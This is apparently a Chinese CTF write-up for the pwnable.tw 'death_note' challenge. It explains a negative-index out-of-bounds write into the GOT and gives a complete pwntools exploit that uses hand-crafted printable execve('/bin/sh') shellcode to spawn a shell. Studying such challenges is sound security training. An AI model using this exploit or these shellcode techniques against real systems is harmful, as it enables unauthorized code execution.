Contents
  1. 1. death_note
    1. 1.1. 分析
    2. 1.2. exp

death_note

分析

1
2
3
4
5
6
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

开了canary,nx没开

漏洞很明显,数组下标只判断了是否>10,如果设置index为负数,可以造成越界写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
.got.plt:0804A000 _GLOBAL_OFFSET_TABLE_ dd offset _DYNAMIC
.got.plt:0804A004 dword_804A004 dd 0 ; DATA XREF: sub_8048460↑r
.got.plt:0804A008 dword_804A008 dd 0 ; DATA XREF: sub_8048460+6↑r
.got.plt:0804A00C off_804A00C dd offset read ; DATA XREF: _read↑r
.got.plt:0804A010 off_804A010 dd offset printf ; DATA XREF: _printf↑r
.got.plt:0804A014 off_804A014 dd offset free ; DATA XREF: _free↑r
.got.plt:0804A018 off_804A018 dd offset strdup ; DATA XREF: _strdup↑r
.got.plt:0804A01C off_804A01C dd offset __stack_chk_fail
.got.plt:0804A01C ; DATA XREF: ___stack_chk_fail↑r
.got.plt:0804A020 off_804A020 dd offset puts ; DATA XREF: _puts↑r
.got.plt:0804A024 off_804A024 dd offset exit ; DATA XREF: _exit↑r
.got.plt:0804A028 off_804A028 dd offset strlen ; DATA XREF: _strlen↑r
.got.plt:0804A02C off_804A02C dd offset __libc_start_main
.got.plt:0804A02C ; DATA XREF: ___libc_start_main↑r
.got.plt:0804A030 off_804A030 dd offset setvbuf ; DATA XREF: _setvbuf↑r
.got.plt:0804A034 off_804A034 dd offset atoi ; DATA XREF: _atoi↑r
.got.plt:0804A034 _got_plt ends
.got.plt:0804A034
......
.bss:0804A060 public note
.bss:0804A060 ; void *note[10]
.bss:0804A060 note dd ? ; DATA XREF: add_note+91↑w
.bss:0804A060 ; del_note+41↑r ...

got表和bss的距离,可以改got为shellcode地址,free_got和note的偏移即note[-19]

同时要注意,add时在is_printable会判断写入的是否是可显的【ascii码对照表】…所以就是考察写shellcode的能力了o3o

也就是

mov a,bpush b;pop a替换

int 0x80通过 xor sub and inc dec 操作

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!usr/bin/python
from pwn import *
context.log_level = 'debug'

binary = "./death_note"
ip = "chall.pwnable.tw"
port = 10201
elf = ELF(binary)

def menu(choice):
io.sendlineafter("choice :", str(choice))

def add(idx, name):
menu(1)
io.sendlineafter("Index :", str(idx))
io.sendlineafter("Name :", name)

def show(idx):
menu(2)
io.sendlineafter("Index :", str(idx))

def delete(idx):
menu(3)
io.sendlineafter("Index :", str(idx))


def pwn(ip, port, debug):
global io
if debug == 1:
io = process(binary)
sh = process(binary)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# gdb.attach(io,'b *0x80487ef')
else:
io = remote(ip, port)
libc = 0

'''
# shellcode = shellcraft.sh()

/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push '/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
/* push argument array ['sh\x00'] */
/* push 'sh\x00\x00' */
push 0x1010101
xor dword ptr [esp], 0x1016972
xor ecx, ecx
push ecx /* null terminate */
push 4
pop ecx
add ecx, esp
push ecx /* 'sh\x00' */
mov ecx, esp
xor edx, edx
/* call execve() */
push 11 /* 0xb */
pop eax
int 0x80
'''
shellcode = '''
/*ebx '/bin///sh'*/
push 0x68
push 0x732f2f2f
push 0x6e69622f
push esp
pop ebx

/*edx 0xfffffffe --- dl 0xfe*/
push edx
dec edx
dec edx

/*0xcd 0x80*/
xor [eax+32], dl
xor [eax+33], dl

/*edx ecx 0*/
inc edx
inc edx
push edx
pop ecx

push 0x40
pop eax
xor al,0x4b
'''
add(-19, asm(shellcode)+'\x33\x7e')
delete(-19)

io.interactive()

if __name__ == '__main__':
pwn(ip, port, 0)

shellcode的好文章:

🔺shellcode 的艺术

🔺和本题很相关的Ex🐂的文章生成可打印的shellcode

编写x64字母数字shellcode

Linux/x64 – execve(“/bin/sh”,NULL,NULL) + Position Independent + Alphanumeric Shellcode (87 bytes)

系统调用与中断

Linux pwn入门教程(2)——shellcode的使用,原理与变形

可转可见shellcode工具https://github.com/VincentDary/PolyAsciiShellGen